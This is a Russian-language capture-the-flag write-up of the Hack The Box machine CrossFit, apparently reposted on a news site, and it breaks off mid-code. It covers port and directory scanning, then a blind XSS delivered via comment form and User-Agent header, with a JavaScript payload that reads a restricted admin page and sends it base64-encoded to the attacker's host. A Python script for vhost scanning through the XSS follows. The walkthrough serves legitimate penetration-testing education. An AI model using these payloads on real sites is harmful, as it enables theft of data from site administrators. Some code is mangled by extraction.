Категория > Новости > HTB CrossFit. Раскручиваем сложную XSS, чтобы захватить хост - «Новости»

HTB CrossFit. Раскручиваем сложную XSS, чтобы захватить хост - «Новости»


24-03-2021, 00:00. Автор: Quincy
Hack The Box я покажу, как искать XSS на недос­тупных стра­ницах сай­та, ска­ниро­вать домены через XSS, про­водить раз­ведку на машине с Linux, уда­лен­но исполнять код, исполь­зуя FTP, и экс­плу­ати­ровать инъ­екцию команд в поль­зователь­ском при­ложе­нии. А под конец нем­ного поревер­сим, что­бы най­ти финаль­ную уяз­вимость.

warning


Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.



 

Разведка


 

Сканирование портов


Ад­рес машины — 10.10.10.208, добав­ляем его в /etc/hosts для удобс­тва.


10.10.10.208 crossfit.htb

Ска­ниру­ем пор­ты. Я, как всег­да, исполь­зую неболь­шой скрипт, который запус­кает Nmap в два эта­па: быс­трое общее ска­ниро­вание и затем ска­ниро­вание со скрип­тами на обна­ружен­ных пор­тах.


ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Ре­зуль­тат работы скрип­та
Ре­зуль­тат работы скрип­та (про­дол­жение)

По резуль­татам ска­ниро­вания име­ем три откры­тых пор­та:



  • порт 21 — служ­ба FTP (обра­ти вни­мание на наличие сер­тифика­та);

  • порт 22 — служ­ба SSH;

  • порт 80 — веб‑сер­вер Apache.


На SSH нам ловить нечего, так как там мож­но раз­ве что брут­форсить учет­ные дан­ные, а это пос­леднее дело. Куда инте­рес­нее наличие сер­тифика­та у служ­бы FTP. Как учат все кур­сы раз­ведки, из сер­тифика­та мож­но получить инте­рес­ную информа­цию. У любого сер­тифика­та есть важ­ное поле Common Name — домен­ное имя сер­вера, для которо­го дей­стви­телен сер­тификат. В нашем слу­чае это gym-club.crossfit.htb.


HTB CrossFit. Раскручиваем сложную XSS, чтобы захватить хост - «Новости»
До­мен­ное имя, ука­зан­ное в поле Common Name

Най­ден­ное имя мы сра­зу добав­ляем в файл /etc/hosts.


10.10.10.208 gym-club.crossfit.htb
 

Перебор каталогов


Пе­рехо­дим к веб‑сер­веру. На 80-м пор­те по адре­су http://crossfit.htb нас встре­чает стар­товая стра­ница Apache. А вот по най­ден­ному в сер­тифика­те домену http://gym-club.crossfit.htb откры­вает­ся сайт тре­нажер­ного зала.


Стар­товая стра­ница Apache по адре­су http://crossfit.htb
Поль­зователь­ский сайт http://gym-club.crossfit.htb

Од­но из пер­вых дей­ствий при пен­тестин­ге веб‑при­ложе­ния — это ска­ниро­вание сай­та на наличие инте­рес­ных катало­гов и фай­лов. Я обыч­но беру для это­го ути­литу gobuster. При запус­ке исполь­зуем сле­дующие парамет­ры:




  • dir — ска­ниро­вание дирек­торий и фай­лов;


  • -k — не про­верять SSL-сер­тификат;


  • -t [] — количес­тво потоков;


  • -u [] — URL-адрес для ска­ниро­вания;


  • -x [] — инте­ресу­ющие рас­ширения фай­лов, перечис­ленные через запятую;


  • -w [] — сло­варь для перебо­ра;


  • --timeout [] — вре­мя ожи­дания отве­та.


gobuster dir -t 128 -uhttp://crossfit.htb/-w/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -xhtml,php --timeout 30s
Об­наружен­ные под­катало­ги и фай­лы на http://crossfit.htb
gobuster dir -t 128 -uhttp://gym-club.crossfit.htb/-w/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -xhtml,php --timeout 30s
Об­наружен­ные под­катало­ги и фай­лы на http://gym-club.crossfit.htb

По резуль­татам ска­ниро­вания мож­но ска­зать, что http://crossfit.htb инте­реса боль­ше не пред­став­ляет. На http://gym-club.crossfit.htb есть инте­рес­ный каталог с вызыва­ющим наз­вани­ем security_threat. В нем — единс­твен­ный файл, при обра­щении к которо­му получа­ем сооб­щение, что дос­туп к информа­ции огра­ничен.


Со­дер­жимое http://gym-club.crossfit.htb
Об­наружен­ные под­катало­ги и фай­лы на http://gym-club.crossfit.htb

По­ка ничего сущес­твен­ного мы не наш­ли, но все же получи­ли допол­нитель­ную информа­цию.


 

Точка входа


При осмотре сай­та находим фор­му отправ­ки ком­мента­риев, которые могут быть под­верже­ны XSS. Вот толь­ко ответ мы не видим, поэто­му нуж­но выпол­нить отстук на свой хост. Для это­го откро­ем порт с помощью прос­того веб‑сер­вера на Python, что­бы мы мог­ли отлавли­вать все обра­щения.


sudo python3 -m http.server 80

И, ког­да все готово, отпра­вим наг­рузку, которая дол­жна заг­рузить уда­лен­ный скрипт на JS.


<script src="http://[локальный IP адрес]/>script>
Тес­товая наг­рузка в поле ком­мента­рия

В качес­тве отве­та на такой ком­мента­рий получа­ем сооб­щение об обна­ружен­ной и заб­локиро­ван­ной ата­ке XSS!


Со­обще­ние о бло­киров­ке XSS

Здесь ска­зано, что наш IP-адрес и информа­ция о бра­узе­ре будут пре­дос­тавле­ны адми­нис­тра­тору ресур­са. Прек­расно! Зна­чит, мы можем поп­робовать выпол­нить XSS, но уже для адми­нис­тра­тора.


На источник IP мы пов­лиять не можем, а вот информа­цию о бра­узе­ре сер­вис узна­ет из заголов­ка User-Agent про­токо­ла HTTP. Зна­чение это­го заголов­ка мы можем под­менить хоть в самом бра­узе­ре, хоть в спе­циаль­ных при­ложе­ниях вро­де Burp.


Сто­ит пом­нить, что сооб­щение будет дос­тавле­но толь­ко в слу­чае детек­та XSS. То есть нуж­но отпра­вить наг­рузку и в поле ком­мента­рия, и в заголов­ке User-Agent. Я открыл порт 8888 и заменил зна­чение заголов­ка при помощи Burp. Пос­ле отправ­ки зап­роса получа­ем отклик в логах нашего веб‑сер­вера.


Зап­рос, содер­жащий наг­рузку XSS в заголов­ке User-Agent
По­пыт­ка заг­рузки скрип­та с веб‑сер­вера локаль­ного хос­та (отклик)

Это зна­чит, что мы можем выпол­нить заг­рузку уда­лен­ного скрип­та на JS и экс­плу­ати­ровать XSS.


 

XSS


Те­перь нуж­но опре­делить­ся с век­тором ата­ки. Пом­нишь стра­ницу с огра­ниче­нием дос­тупа? От име­ни адми­нис­тра­тора мы навер­няка смо­жем ее пос­мотреть, а XSS поможет нам в этом. Код стра­ницы мы получим, исполь­зуя методы open и send объ­екта XMLHttpRequest.


var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://gym-club.crossfit.htb/security_threat/report.php', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send();

Код зап­рошен­ной стра­ницы здесь сох­раня­ется в перемен­ной xhr.responseText, и его еще нуж­но передать на наш сер­вер, что­бы он отоб­разил­ся в логах. Зна­чение для сох­ранения целос­тнос­ти сна­чала закоди­руем в Base64, что­бы непеча­таемые сим­волы нам не помеша­ли. В качес­тве триг­гера для отправ­ки будем исполь­зовать метод onload объ­екта XMLHttpRequest. Пол­ный код выг­лядит сле­дующим обра­зом.


var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://gym-club.crossfit.htb/security_threat/report.php', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.onload = function () {
var request = new XMLHttpRequest();
request.open('GET', 'http://10.10.14.80:8888/?code=' + btoa(xhr.responseText), true);
request.send();
};
xhr.send();

Сох­раня­ем его в файл (у меня evil.js) в дирек­тории запущен­ного веб‑сер­вера. Пос­ле чего пов­торя­ем зап­рос с извес­тной наг­рузкой в заголов­ке User-Agent, но уже ука­зыва­ем для заг­рузки скрип­та свой файл.


<script src="http://10.10.14.80:8888/evil.js">script>

В логах веб‑сер­вера получа­ем информа­цию: сна­чала о заг­рузке скрип­та, а потом обра­щение к вымыш­ленной стра­нице. В качес­тве аргу­мен­та при­ходят дан­ные в кодиров­ке Base64, декоди­руем их.


Ло­ги локаль­ного веб‑сер­вера
Де­коди­рова­ние кода стра­ницы report.php

К сожале­нию, ничего инте­рес­ного мы не получа­ем, так что в этом мес­те мне приш­лось креп­ко задумать­ся о том, как раз­вивать ата­ку даль­ше. В голову приш­ла идея про­верить дос­тупные с localhost вир­туаль­ные хос­ты. Ска­нер для это­го при­дет­ся реали­зовать самос­тоятель­но.


Идея сос­тоит в том, что мы будем про­воци­ровать уда­лен­ный хост сно­ва и сно­ва заг­ружать скрипт на JS с нашего локаль­ного сер­вера, но толь­ко каж­дый раз мы будем воз­вра­щать такой скрипт, который вмес­то стра­ницы http://gym-club.crossfit.htb/security_threat/report.php будет зап­рашивать кор­невую стра­ницу на раз­ных под­доменах http://[random].crossfit.htb.


Прог­рамми­ровать будем на питоне. Нам нуж­но про­верять код отве­та — если он равен 200, зна­чит, вир­туаль­ный хост сущес­тву­ет.


Сна­чала пишем стан­дар­тную «базу» для сер­вера.


#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
import requests
def run(server_class=HTTPServer, handler_class=EvilServer, port=8888):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
request()
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
if __name__ == '__main__':
run()

Что­бы избе­жать кеширо­вания фай­ла при мно­гок­ратном зап­росе, будем вес­ти счет­чик vhost_number и каж­дый раз менять имя фай­ла со скрип­том на JS. В качес­тве сло­варя исполь­зуем namelist.txt из набора SecLists.


vhost_number = 0;with open("/usr/share/seclists/Discovery/DNS/namelist.txt", "r") as f:
global vhostsvhosts = f.read().split('n')[:-1]

Те­перь реали­зуем фун­кцию пер­воначаль­ной отправ­ки ком­мента­рия, которая будет отсы­лать наг­рузку.


def request():
headers = {'User-Agent':'<script src="http://10.10.14.80:8888/evil'+str(vhost_number)+'.js">script>', 'Referer':'http://gym-club.crossfit.htb/blog-single.php'}
data = {'name':'ralf','email':'ralf%40ralf.com','phone':'8888','message':'%3Cscript+src%3D%22http%3A%2F%2F10.10.14.80%3A8888%2Fevil.js%22%3E%3C%2Fscript%3E','submit':'submit'}
requests.post("http://gym-club.crossfit.htb/blog-single.php",data=data,headers=headers)


Перейти обратно к новости